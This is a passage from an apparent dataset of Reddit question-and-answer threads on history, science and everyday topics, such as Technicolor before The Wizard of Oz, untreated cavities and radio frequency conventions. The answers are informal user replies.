opposite was true - people were largely self-reliant and in theory could have lived their entire life without making a single transaction involving money. Peasants had to pay for the land they were using, but the rent this could have been issued in nature (work and part of the products and this is how it initially often worked in Early Middle Ages) but usually did not have to pay for their houses, fuel, maintenance, food and simple tools as they were able to provide everything themselves. This meant that peasants could have a substantial personal wealth even if they had little currency readily available, what makes comparisons rather difficult. Using the aforementioned prices from early, it can be clearly seen that a peasant owning 4 oxen (a norm for a homestead, people owning less animals often paid smaller rent on an assumption that they are unable to till much land) had already a wealth equal to 400 gAg, i.e. more than 1 florin from the 1290s. If you then factor in a horse, few pigs, a cart (necessary to transport grain and other products and provide transport services for their lord), it can be clearly seen that a peasant family on a well-prospering homestead could have a property amounting to several florins of equivalent gold currency. So, it can be said that should the peasant liquidated their assets mobile assets (land was usually his master's property), he could have easily earned several 'gold coins' (i.e. 10-15 grams of gold)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4vd545", "title": "How much water has been taken out of the Earth's water cycle because of bottled water/liquids being thrown away?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4vd545/how_much_water_has_been_taken_out_of_the_earths/", "answers": {"a_id": ["d5xx1x5"], "score": [20], "text": ["None. If you throw a bottle of water into the trash, it's going to be compacted, probably shredded, and either buried or burned. The water's going to leak out and re-enter the environment very quickly.\n\nAnd in any case, bottled water use is tiny compared to the natural water cycle. The average American drinks 34 gallons of bottled water a year, so considering the entire country, that works out to 0.01% as much water as the flow of the Mississippi river.. Even our use of tap water only amounts to 0.1% of a Mississippi.\n\nHuman water usage is a significant part of the overall water cycle, but it's crop irrigation, not the amount we use in our homes, that really matters. Crop irrigation amounts to 43% of a Mississippi.\n\n_URL_0_\n_URL_2_\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bottledwater.org/economics/bottled-water-market", "http://water.usgs.gov/edu/wateruse-total.html", "http://www.wolframalpha.com/input/?i=(34+gallons+%2F(person+year))*+(population+of+united+states)+%2F+(mississippi+river+flow+rate)"]]}
{"q_id": "2u8n2o", "title": "why isn't the super bowl moved to saturday night when, presumably, more people would watch and spend money on food / alcohol?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2u8n2o/eli5_why_isnt_the_super_bowl_moved_to_saturday/", "answers": {"a_id": ["co66ds5", "co66mp8"], "score": [9, 4], "text": [" >  It seems to me that more people would watch the Super Bowl if it was on Saturday instead of Sunday\n\nThis is just completely untrue. There's a reason that almost no new episodes for anything come out on Saturday.", "People let loose enough as it is. SuperBowl sunday is the 2nd biggest alcohol consumption day of the year in America behind 4th of July. Ever notice, outside of certain sports  &  SNL, there's really no good or big budget TV on Saturdays? People don't watch TV on Saturdays. Saturdays are people's 'going-out' day/night. Sundays are traditionally a more relaxed, stay-at-home-and-watch-tv day. There are always way more viewers on Sunday. If the NFL thought for a second they would get more viewers on Saturday, then they would but the Super Bowl on Saturday"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "10rcrr", "title": "Do fat people burn longer than people of average weight? Does the additional fat provide fuel for the fire? Serious Question... ", "selftext": "Watching Boardwalk Empire last night, and I wondered... Do fat people burn longer than people of average weight? Does the additional fat provide fuel for the fire? I mean I've heard of back in the day where they used animal fats to fuel lanterns and such, so does that mean a rather obese person would burn longer and hotter than a skinny person? Does the fat combust or melt? just wanted clarification.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10rcrr/do_fat_people_burn_longer_than_people_of_average/", "answers": {"a_id": ["c6fyosr", "c6g1va2"], "score": [40, 30], "text": ["Yes. Animal fat melts around 184 \u00b0C at which point it turns into an oily mixture that burns very well. Fat is not a good kindling, meaning it is hard to use to ignite a fire, but if added to an existing fire or primed with another fuel it will begin to render down and fuel the flames.", "Yes. Crematory operators schedule larger people for earlier in the day so the crematory isn't already hot. Disposition of an obese subject in an already-hot crematory can be hazardous."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2hr0if", "title": "how come the us is eager to spread to democracy in the middle east, but hasn't taken a stance on the hong kong protests even though citizens are specifically asking for democracy?", "selftext": "title.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hr0if/eli5_how_come_the_us_is_eager_to_spread_to/", "answers": {"a_id": ["ckv7x8p", "ckv7xo8", "ckv85e3", "ckv8hpw", "ckv9k25", "ckveyp3"], "score": [7, 21, 2, 3, 11, 2], "text": ["China is claiming the leaders of the Hong Kong protests are being instructed by the US. If the US were to say anything, China would try turn it into propaganda to show the leaders were just puppets of the US. \n\nThe protest leaders likely prefer that the US remains quiet for this reason.  \n", "Two reasons:\n\n1. China and the United States maintain a very important relationship, mainly through economics. It is not good to anger people you owe money to, and maintain important trade agreements with.\n\n2. The Hong Kong protest was started because of restricted democratic elections. The Chinese government proposed that Hong Kong could have elections for its leader in 2017, only if Beijing could screen the candidates first (meaning they were Chinese puppets). The students started protesting. \n\nSo this isn't a case of Hong Kong desiring a true democracy and China responding back by running tanks through the city. This is a case of Hong Kong desiring a true democracy and China trying to minimize that as much as possible to maintain control.\n\nIt isn't violent or extreme. Bad for democracy? Yes. But not bad enough to take action.", "We are not spreading democracy. We are doing the bidding of the Saudi's in the Middle East by destabilizing their enemy's and we are doing the bidding of Beijing by doing nothing to oppose the Chinese government actions in the region. The core reason is money. ", "The US military will intervene to *stabilize* the Middle East, and interest is in the region is high because of economic interests and alliances.  \n\nThe US prefers democracy and will pressure politically / economically to accomplish it, but generally won't use military simply for the sake of democracy without some other factor.\n\nThere's a lot of reasons not to interfere in China's affairs.  For starters, it's stable close economic ally and has generally be moving in the right direction overall.  Equally importantly, intervening in a foreign nation's democratic movements can undermine them - opposition will accuse the west of meddling and use that claim to draw support.... it's best if democracy is organic and requested by the people.", "The US does not give a rat's ass about spreading democracy, never has. On more than one occasion, we've overthrown a democratically-elected government and installed a brutal dictatorship in its place.\n\nWhat we care about are our \"national interests,\" which basically translates to corporate profits. China is a *huge* business market, and we're not about to do anything to jeopardize that. If China rolls actual tanks into Hong Kong and starts gunning down protesters in the street, we'll make some outraged squeaking noises, but that will be about the extent of our opposition.\n", "Hong kong isn't sitting on an oil well...\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8dgyz2", "title": "When 'The Wizard of Oz' was premiered in 1939, was this film most people's first time seeing a film in color, or had most people already had that experience by 1939? Are there any interviews with people after seeing the movie?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8dgyz2/when_the_wizard_of_oz_was_premiered_in_1939_was/", "answers": {"a_id": ["dxn80cc", "dxp65j8"], "score": [178, 10], "text": ["While 3-strip Technicolor was still a new and expensive thing typically reaerved for musical or fantasy, it was not brand new with the Wizard of Oz. Its use in that movie is clever, and it might have been the first exposure to color for some in the audience, but that film itself wasn't unique.\n\nFirst, what do we mean by color in film? Many early silent films were color tinted or painted by hand. In the 1920s, there was experimentation with two-strip color (I'll skip over the nuances of color film, but think of it is a precursor to the better system used in the 1930s). The Buster Keaton movie *Seven Days* opens with a color sequence.\n\nWalt Disney got an exclusive contract with Technicolor in 1933, and made all of his cartoons in color by 1935 (there were a few Mickey cartoons still black and white until then, even after Mickey moved to color). So audiences would have been familiar with color cartoons. Some live action short subjects would also be made in color by other studios in the 1930s.\n\nThere are earlier live-action films of the 1930s that were made in Trchnicolor, for example 1937's *A Star is Born*. But we can look to 1939 as a big year for Technicolor not only because of Wizard of Oz, but two other notable films. *The Women* was black and white, but featured a fasion show sequence in the middle that was in color, similar to having a 3D sequence today. And secondly, some months after Wizard of Oz, would be *Gone With the Wind*, which would win awards for its use of color. \n\nI personally know of no first-hand audience testimony of color in the Wizard of Oz. However, it wouldn't necessarily be the first exposure to color on film, though for some it very well may have been. I too would be curious if anyone knows of interviews about it from that period.", "While others have already pointed out that color in film wasn\u2019t particularly new when *The Wizard of Oz* came out, I wanted to add a few things to the context and also to shed a certain kind of light on audience reactions. \n\nSo by 1939, it had been 22 years since the first Technicolor short, 17 years since the first Technicolor feature (*The Toll of the Sea*, in 1922), 13 years since the first Technicolor feature with an A-list star (Douglas Fairbanks in *The Black Pirate*, 1926) and 9-10 years since the first color movie craze in 1929-1930. The mid-late 1920s saw many popular blockbusters with Technicolor sequences, including *The Phantom of the Opera* and the smash hit *Ben Hur* (both 1925). In 1928 an advance in the Technicolor process led to a huge boom in color films, right at the same time talkies were taking over. In 1929-1930 there were dozens of films sold as\u201d all-talking, all colour!\u201d In fact it was not an uncommon opinion in the industry that within a few years all films would be sound and colour. \n\nThey didn\u2019t count for the Great Depression. Box office receipts indicated that color did not actually increase ticket sales, despite costing a lot, so as money became tight studios stopped or severely limited the production of color films from 1930. Disney was the exception, making color cartoons all through the 1930s, which of course culminated in 1937\u2019s *Snow White and the Seven Dwarfs*. However live action Technicolor, despite many improvements to the technical process, didn\u2019t really take off again until the late 1930s, with economic recovery and renewed audience interest. \n\nOnce again it was a boom of color \u2013 well, relatively, as Technicolor was expensive and so mostly reserved for prestige epics and musicals. Still, from 1938 you start seeing regular color films again, probably at least one new release a month. In 1939, three of the five top grossing films (according to [industry reports](_URL_2_)) were color: *Jesse James* (1st), *Dodge* (2nd), and *Kentucky* (4th). Note *Wizard of Oz* isn\u2019t even one of them- it was 8th! (*Gone with the Wind* was released too late in the year to be counted, the article notes). \n\n*The Wizard of Oz* is likely to be the oldest color film the majority of people today have seen, for various reasons (films lost, censored, not aged well, etc.), but it\u2019s not particularly likely to have been the first color film most of its audience had seen \u2013 no more or less likely than *Jesse James* would have been. Older audience members especially had a good chance of having at least seen Technicolor sequences 10-15 years ago at that point. And that\u2019s even if we exclude animation. \n\nWith that context, part 2 of your question- audience response. Now, I definitely can\u2019t answer this fully, and don\u2019t know of any audience interviews or anything cool like that. But I thought maybe taking a look at responses and reviews to *The Wizard of Oz* in film fan magazines from the time--particularly in regards to the color-- might give us at least a touch of insight in that direction. \n\nThis period saw numerous film fan magazines, which reviewed movies, discussed developments in the industry, gossiped, talked a lot about the stars, gossiped about the stars, gave film-inspired fashion advice, and so on. The [Media History Project Digital Library](_URL_0_) offers access to digitized copies of thousands of them \u2013 an amazing resource. I will link all articles referenced to their relevant digital versions if anyone wants to read the whole thing and/or see them in context. \n\nThe most prominent at this time was *Photoplay*. In August 1939 they ran an [article](_URL_8_) on the production of *The Wizard of Oz*, talking about the Art Department, the casting of Toto, talking to the actors in make-up, and that kind of thing. The upcoming film is summed up as: \n >  a production which is, indeed, a horse of a different colour, the new musical score, the half a hundred Technicolor scenes, laced together with elements that seem to promise something singularly delightful for us all; beauty, satire, and philosophy for the grown-ups, with adventure and suspense for the children.\u201d \nSo already the color is certainly mentioned, as it usually was for Technicolor features at this time, but as one of many attractions rather than the primary one. \n\nIn October *Photoplay* published their [review](_URL_1_) of the film. As their reviews are only a paragraph long, I\u2019ll transcribe the whole thing:\n >  Two years to make\u2014and worth every moment of it. This cast alone\u2014Frank Morgan in the title role, Judy Garland as Dorothy, Bert Lahr as the Cowardly Lion, Ray Bolger as the Scarecrow, Jack Haley as The Woodsman, and Billie Burke as the good fairy, Glinda \u2013 might have been dreamed into being just for this superb fantasy of a little girl transported by cyclone to a magic wonderland where anything can (and does) happen. How she travels with her newfound friends through tiny Munchkinland, braves the gigantic Flying Monkeys, and outwits the Wicked Witch (Margaret Hamilton) to gain aid from the droll Wizard and beautiful Glina, makes the plot, interspersed with catchy songs and spectacular production numbers. Put it all in the finest Technicolor and what more could any fantasy-lover ask? A \u201cmust\u201d for both children and adults.\n\nYou\u2019ll see that emphasis is first on the cast and then the plot, together making up the majority of the review. Then they praise the songs and production numbers, and then, finally, they mention the colour, as kind of a \u201ccherry on top.\u201d \n\nIn November the other fan magazines got their reviews out \u2013 due to its prominence, *Photoplay* often got first dibs. *Hollywood*\u2019s [review](_URL_7_) focuses on the acting, with specifics of praise for all the principal characters. Again the color is portrayed as a nice bonus: \u201cAnd the use of Technicolor brings to vivid nearness the sturdy fairy land imagined by L. Frank Baum\u201d [note the original sentence begins with \u201cAnd\u201d]. *Screenland* is [similar](_URL_6_) in emphasizing the acting, though they are a bit more effusive in praising the \u201cdazzling scenes in color of the poppy field, of the forest, of the Emerald City.\u201d However the [review](_URL_3_) in *Modern Screen*, while approving of the \u201cremarkable technical effects\u201d and \u201cbeautiful photography,\u201d doesn\u2019t even mention the word color anywhere. \n\nNow, of course these are professional reviewers who have almost certainly seen hundreds more films than the average movie-goer. As we can see today with Rotten Tomatoes, opinions can certainly vary between critics and audiences. Still it is significant that not one of these reviews in popular magazines consider the colour itself to be what makes the movie stand out. \n\nEven MGM didn\u2019t overemphasize the colour in the film at its release. The standard magazine ad (which can be seen [here](_URL_4_) in *Hollywood*, but appears in several of these magazines) calls *The Wizard of Oz* a \u201cTechnicolor triumph,\u201d but this is a pretty standard phrase applied to color films at the time. The ad copy instead emphasizes the scale of the production, describing \u201c65 sets,\u201d city of \u201c22,000 separate glass objects\u201d \u201c35 make-up experts\u201d \u201c40,000 poppies\u201d \u201c9,200 actors,\u201d and so on. \n\nAs far as reactions from the early moviegoing audience itself, we do have the testimony of published fan letters. *Photoplay* and most of the other fan magazines printed a dozen or more letters from fans per issue, about films, actors, complaints about trailers, and so on. However I was only able to find [one](_URL_5_) that related to *The Wizard of Oz*\u2026 and it\u2019s about the performance of the actor who played the Tin Man. Since this is the closest thing I can offer to a true audience response, I\u2019ll transcribe:\n\n > Dear Jack Haley:\n > I never thought I\u2019d be writing a fan letter to you, of all people. You\u2019ve always been just another comedian. Oh, your bright eyes were rather cute, but who\u2019d ever remember you? Or go to a picture because your name was on the marquee?\n > And then I saw you in \u201cThe Wizard of Oz.\u201d I sat there as popeyed as you where when you first beheld the mighty Wizard. Could this appealing Tin Woodsman, searching so wistfully for a heart, really be Jack Haley? Heart or no heart, his countenance clearly registered real emotion: the openmouthed fear that made his knees clank together, the overpowering desire for a heart, his affection for Dorothy. Then, when he had found his heart, only to feel it break when Dorothy was leaving, our hearts broke with his for a moment. When an actor\u2019s breaking heart causes a temporary fracture in our own, then we call that actor great. \n > So, Jack Haley, I salute you \u2013 a new dramatic star. If MGM doesn\u2019t star you in some serious roles worthy of all the pathos you brought to the Tin Woodsman, then you\u2019d better find a boss who will. Because you certainly have what it takes!\n > A new Haley fan,\n > Alice Oman, Kalamazoo, Michigan\n\nNeedless to say, performance stood out to this moviegoer much more than colour. \n\nA handful of reviews, an ad, and one letter most certainly do not encompass the whole of the experience of seeing The Wizard of Oz in late 1939, but they offer at least a little glimpse, which I hope you have found interesting!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://mediahistoryproject.org/", "http://archive.org/stream/photopla15chic#page/n365", "http://archive.org/stream/photoplayvolume554chicx#page/n287/", "http://archive.org/stream/modernscreen1819unse#page/n633", "http://archive.org/stream/hollywood28fawc#page/n565", "http://archive.org/stream/photopla15chic#page/4/mode", "http://www.archive.org/stream/screenland40unse/screenland40unse#page/n57", "http://archive.org/stream/hollywood28fawc#page/n715", "http://archive.org/stream/photopla15chic#page/n121"]]}
{"q_id": "2q0n5m", "title": "When the British divided their former colonies into nation states, why were the Pashto parts of Pakistan not made part of Afghanistan?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2q0n5m/when_the_british_divided_their_former_colonies/", "answers": {"a_id": ["cn1x9jb"], "score": [6], "text": ["Because Afghanistan was not a British Colony.  These territories were part of British India so they became part of Pakistan upon Partition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6rnm0t", "title": "The Joseon Nobility?", "selftext": "Did the Nobility and Royalty of Joseon Korea speak Chinese? I know they wrote and read and Chinese but I have no clue if they spoke it or not.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6rnm0t/the_joseon_nobility/", "answers": {"a_id": ["dlgn38f"], "score": [3], "text": ["The short answer is no, generally speaking you couldn't take a joseon scholar and drop him in china and expect him to be able to be understood. He'd have to resort to writing.\n\nClassical chinese script, the written lingua franca of NE asia, and the spoken language of the various countries where it was used needs to be seen independently of each other. This is often difficult to grasp for foreign observers, e.g. english or european language speakers, because when you write something you're writing the *sounds* of the word whereas with a symbolic language you write a symbol (or combination of) that represent the idea that you're trying to convey.\n\nEmoticons are the easiest way to understand this notion. How do you know that \":)\" stands for a smile? It's a *symbol* that represents the idea of a smiling face to western internet users. Basically you had to memorise it but you can use it independent of the spoken language. Increase the number of symbols to several thousand and you have something that you can begin to use a proper means of communication.\n\nContemporary observers often had a similar problem in separating the written from the spoken and sometimes misstated that two languages were used. To someone not familiar with the situation that suggested that two languages were spoken (again because of the assumption that the spoken and written languages are related), which was not the case.\n\nIn korea the lack of relation between classical chinese and the spoken language is exemplified by \"idu\". This was a system where the symbols used in classical chinese were used (irrespective of their actual meaning) to represent sounds. An analogy would be drawing a house to write \"how\" because the spoken word \"house\" contains the sound you want. Basically a hack (i.e. rough and ready) version of an alphabet that's been replaced by hangeul. For clarity, the term \"idu\" is used to refer to the specific script used by craftsmen of the joseon period as well as an overarching term referring to *all* systems to write sound.\n\nReference - \"Missionary contributions toward the revaluation of Hangeul in late nineteenth-century Korea\" by David J. Silva."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dqcfyt", "title": "why do some northern lights appear brightly colored while others just look like normal white-ish light?", "selftext": "I used to see columns of \"lights\" to the north of my hometown.  I eventually figured that they were (probably) the northern lights.  However, I still don't understand why they appeared to me to be a normal white-ish light color  instead of the bright colors like they are in photographs?  If the geographic location affects the way they appear, the town is in North Idaho.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dqcfyt/eli5_why_do_some_northern_lights_appear_brightly/", "answers": {"a_id": ["f6237c0", "f62bs5i"], "score": [2, 3], "text": ["I probably only have a partial answer, but latitude, season, and time at which you see the northern lights definitely play a role, as well as the light activity at the given time. \nThe closer you are to the pole, the darker it is (ie winter season), and the more light activity there is, the more chances you have to see colors, ranging from green to purple ! In the opposite scenario, you have more chances of seeing a grey trail of light. \nI\u2019m impressed you can see any from North Idaho in the first place :)", "Part of it has to do with the brightness of the lights.  They may appear somewhat bright compared to a dark sky, but aren't bright enough to trigger your color vision.  It's the same reason only the brightest stars show their color, even though most stars have some red, yellow, or blue to them.\n\nAlso, you have only seen the best and most spectacular pictures, the ones that get published, not the boring ones that lack color and detail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3dzpa5", "title": "what would happen if you never got a cavity filled?", "selftext": "edit: Should clarify that I don't have any cavities I'm currently ignoring! It's just a matter of curiosity. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dzpa5/eli5_what_would_happen_if_you_never_got_a_cavity/", "answers": {"a_id": ["cta4rrw", "cta5puo", "cta61g1", "cta8w6r"], "score": [24, 2, 9, 2], "text": ["The cavity deepens until it fully pierces through the enamel on the outside of your tooth. Once that happens, the vulnerable dentin and pulp inside the tooth come under attack (this would require extensive drilling and a crown), and eventually the infection reaches the nerve at the base of the tooth (requiring a root canal). At this point it would be hard to ignore, given that it'd hurt like hell, but if you did ignore it the infection could continue down into your jaw and bloodstream, which can be fatal.", "Yup, imagine a wound on your body that doesn't  heal.  It would get infected and worsen deeper into your body until it gets to blood and bone. \n\nA cavity is a wound on your tooth that can't heal", "Not a dentist, but I've had lots of dental work done, including 2 root canals. They are expensive and not fun.\n\nCavities don't go away or heal, they just get worse. The injection will get deeper into the pulp of the tooth and will eventually reach where the nerve lies. Assuming you continued to flat-out refuse to see the dentist, the decay will start to infect the bone structure supporting the tooth, at which point you'll need an [apicoectomy](_URL_0_), which is about $1500. If you ignored this far, which is unlikely, you would actually start to lose bone in your jaw/ face, not to mention you'll need to probably extract your now severely decayed tooth.\n\nIt's better to pay for a $80-$100 filling than a $250-$450+ root canal and $2000+ crown. Don't let a small problem turn into a big one. ", "I have a few of these, the cavity just gets bigger and bigger and down the road you start getting stabbing pain in your mouth which in my case usually lasted for a week so you don't really sleep much during that week, your face might swell on the side the pain is on, I figure my tooth pain is over because it has been about 2 years since the last week of hell, the last time I went to the dentist which was around 2005 the estimate the guy gave me for fixing everything was in the 20 grand range, I know what I'm doing if I hit the lottery\n\n  & nbsp;\n\nTake care of your teeth kids"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.aae.org/uploadedImages/Patients/Endodontic_Treatments/Endodontic_Surgery/surgery2.jpg"], []]}
{"q_id": "84zsyu", "title": "Why do we refer to radio frequencies in terms of frequency, not wavelength? We refer to everything from IR to UV in wavelength, and media from before the 50's or so tends to use wavelength. Why did we switch?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/84zsyu/why_do_we_refer_to_radio_frequencies_in_terms_of/", "answers": {"a_id": ["dvtwxpk", "dvuacv6", "dvv0sz5"], "score": [6, 16, 2], "text": ["mostly because it's easier to be exact when referring to frequencies rather than wavelengths. 145.350MHz is easier to type than 2.06255561 meters, especially when you need to separate that from 145.400 MHz aka 2.06184634 meters. \n\nOn the other hand, referring to bands by their approximate wavelength is handy (2m vs 70cm vs 30m or what have you).", "It's even worse because for X-rays and gamma rays, we refer to photon energy rather than either wavelength or frequency.\n\nIt all comes down to the device we use to measure the waves.  Radio waves are measured using electronic circuits that are designed to oscillate at a particular frequency.  Visible light is measured using optical diffraction and interference techniques that are based on the physical size of the device, so wavelength is the more natural unit.  X-rays and gamma rays are detected using scintillators and photomultipliers whose output depends on the energy of the input photons.\n\nOur understanding of light came from three basic devices: the radio, the telescope, and the scintillator.  From these \"base camps\" in radio, visible light, and x-rays, we've been gradually building technology that extends outward into other parts of the light spectrum.  We build radios which work at shorter wavelength (into the microwave region), and optical devices that work at both longer and shorter wavelength (into the infrared and ultraviolet), until now for the first time the technologies are starting to [meet and overlap](_URL_1_).  We're designing materials with customized optical properties by making them out of [arrays of tiny tuned electronic circuits.](_URL_0_), we're building [x-ray telescopes](_URL_2_), etc.", "When working with radio waves, frequency is the most relevant information, because emmiter and reciver circuity can oscillate at those frequencies, and you often wouldn't usually make something as big as the size of one wavelength (e: at least for very low frequencies). For visible light, the freqiency is too high for anything other than the light itself, but the wavelength is small and in a more practical range. For example blue butterfly wings don't have any super high frequency vibrations, but they do contain molecular structures that are about the same size as blue light waves which reflect blue light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Negative-index_metamaterial", "http://ieeexplore.ieee.org/document/6665704/", "https://en.wikipedia.org/wiki/X-ray_telescope"], []]}
{"q_id": "3s00n5", "title": "How accurate is the clothing worn by Jesus and the Apostles in da Vinci's The Last Supper and in other paintings?", "selftext": "Are the clothes accurate to those that would be have been worn around this time period? Or are they the best guesses of the painters?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3s00n5/how_accurate_is_the_clothing_worn_by_jesus_and/", "answers": {"a_id": ["cwstivl"], "score": [270], "text": ["The clothing in da Vinci's Last Supper was much more Roman than what Jesus and his disciples would have worn. During Jesus' lifetime, probably AD 5 or 6 to AD 29 or 30, Judaea was still very influenced by Hellenism. Greek is the language of the New Testament, and Greek culture is reflected throughout the stories of Jesus' life. The word for garment used in the New testament is Chiton. A chiton in classical Greece was a short tunic worn under a cloak, however New Testament scholars believe that it was a long garment at the time. Along with this, there likely would have been a cloak worn over the chiton, not resembling a Roman toga as da Vinci shows. The cloak would perhaps have looked something like this: _URL_0_\nit is important to realise that da Vinci's artwork portraying characters from the Bible will be heavily based on their iconography to make them easily recognizeable to an observer at the time. Portraying Jesus and the disciples in Roman clothing goes back as far as the second century, at the dawn of Christian art. Da Vinci would have been doing this both because of the sacred tradition, as well as because of what people believed the ancient world looked like. They used what they had to base their pictures on, but also took liberties for creative license. Roman artifacts were common, and portraying Jesus in a Roman style would have been considered historically accurate, and also politically correct for a Roman catholic church.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ancienthistorylists.com/wp-content/uploads/2014/08/Chlamys-ancient-greece-clothes.png"]]}
{"q_id": "193u14", "title": "At what age do blind children begin to understand object permanence? Are they hindered or helped by their inability to see?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/193u14/at_what_age_do_blind_children_begin_to_understand/", "answers": {"a_id": ["c8kpebl"], "score": [13], "text": ["Early education specialist here, I work mostly with deaf children though many of them have multiple differed-abilities -sometimes that includes blindness. Object permanence requires two things, to be aware that something is/not present, and the brain functionality to notice the difference. This is essentially a skill that children learn based on experience. Young babies depend far more on hearing and smell than sight in the beginning, as that to is essentially a skill that requires strengthening eye muscles. With that in mind, blindness would be a slight hindrance, but not a huge disadvantage on that front.\n\nIf a blind child has the same number and quality of interactions with a parent/caregiver as a typically-abled child, their object permanence would develop at approximately the same rate. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "182fh5", "title": "How come the atmosphere doesn't lag behind as the earth rotates underneath it? \n", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/182fh5/how_come_the_atmosphere_doesnt_lag_behind_as_the/", "answers": {"a_id": ["c8azj1m"], "score": [19], "text": ["Well it does a little bit, but not a lot. The term \"fluid\" means gasses as well as liquids, because they act in similar ways.\n\nWhen there is a moving surface in a still fluid, the part of the fluid that is touching the moving surface moves at the same speed as the surface. This is called the no-slip condition, and so the air outside that is touching the ground and trees and stuff is locked onto it, while the air up higher isn't. But the air that is touching the air that is locked onto the ground, gets pulled a little bit also, but it diminishes as you go up higher.\n\nSo the atmosphere really high up probably does lag behind quite a bit, and isn't really influenced at all from the rotating earth. But up there the predominate effects are more from jet streams and thermals than the earth rotating.\n\nHere's a video showing the [no slip condition](_URL_0_) notice how the fluid at the bottom sort of \"sticks\" to the wall even though the fluid is flowing by.\n\nThis hapens a lot more for dense fluids like water, and happens to a much less noticable extent for thin fluids like air."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=cUTkqZeiMow"]]}
{"q_id": "19d0n8", "title": "When Halley's Comet returns in 2061, would it be possible to attach a radio sensor or video camera to track its journey?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19d0n8/when_halleys_comet_returns_in_2061_would_it_be/", "answers": {"a_id": ["c8mwotn"], "score": [19], "text": ["We can land a spacecraft on a comet. Done before. \n\nSo we could attach something to the comet. \n\nPower would likely have to come from a reactor or radioactive decay but I really do not think that the lifespan would last the kind of time you are talking. Solar power would be difficult due to alignment issues, dust and eventually the simple distance from the sun.\n\nAligning the antenna so that we could receive a signal would be problematic as the signal would have to be weak and the comet would be moving/rotating. And for a while at least the tail (always directly away from the sun) would occlude any clear view. \n\nBut then again, why would we want to? We know exactly where it is anyway. And the spacecraft would not actually have to dock with the comet anyway, once it got lined up, it could simply watch it was a distance with virtually no corrective steering...which would solve all the problems but the power issue. \n\nEdit: I am not all that confident about the power issue/how long radioactive power would be possible. I do not think it is likely possible but could be wrong. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4f3vls", "title": "as an average american citizen, what are my tangible obligations to the nation should they call on me for any reason?(crisis, alien invasion, ww3, breakdown of society)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4f3vls/eli5_as_an_average_american_citizen_what_are_my/", "answers": {"a_id": ["d25nrsm", "d25q2mn"], "score": [95, 5], "text": ["If you are a male between 18 and 42, you may be drafted into the military.\n\nIn times of emergency, the gov't may commandeer your property, and can force you to leave dangerous areas you might otherwise have a right to be in.\n\nBeyond being drafted, they cannot force you to assist.  In a major snowstorm, they might commandeer your truck with a plow, but they cannot force your to drive it for them.\n\nEDIT:\n\nDid a little more research on this, and came up with two more circumstances where you can be compelled to work for the gov't:\n\n* posse comitatus - this is based on the English common law \"hue and cry\", where sheriffs can conscripted able body persons to apprehend a fugitive...many states have specifically made the conscripting part illegal, and it is likely any attempt would be found unconsitutional\n* martial law - this gets legally murky really quick...under martial law, the government can suspend habeas corpus, meaning they can arrest and hold your without charges...they may be able to use that to compel labor", "Legally, they can take your property, although they are required to compensate you for it. \n\nYou can also be drafted"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1hp4n1", "title": "How was the dawn of the 20th century celebrated?", "selftext": "For some reason or another, I recently was thinking back to the Year 2000 and how big a deal it was. It got me to wondering: What was it like for people celebrating the beginning of the 20th century when 1899 turned to 1900?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hp4n1/how_was_the_dawn_of_the_20th_century_celebrated/", "answers": {"a_id": ["cawntbg", "cawrszo"], "score": [2, 3], "text": ["One correction: technically a century does not begin on the 00 year but the 01 year. This is a consequence of the weird numbering system for years. Since they are not the number of years since some date but the Nth year of an \"era\". Since the first year was year 1 and it was the first year of the first century and the first millenium, logically all other centuries and millenia begin with the year 1 as well.\n\nMost folks appreciated that distinction for the dawn of the 20th century, which began in 1901, but everyone essentially decided to throw that out the window for the 21st century, deciding to celebrate the year 2000 instead of the year 2001, the actual start of the 21st century.", "[Here's the front page of the New York Tribune for January 1st, 1901, which describes reactions from all around the world.](_URL_0_) You can get a general idea from that, and there are many other archived newspapers on that site. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], 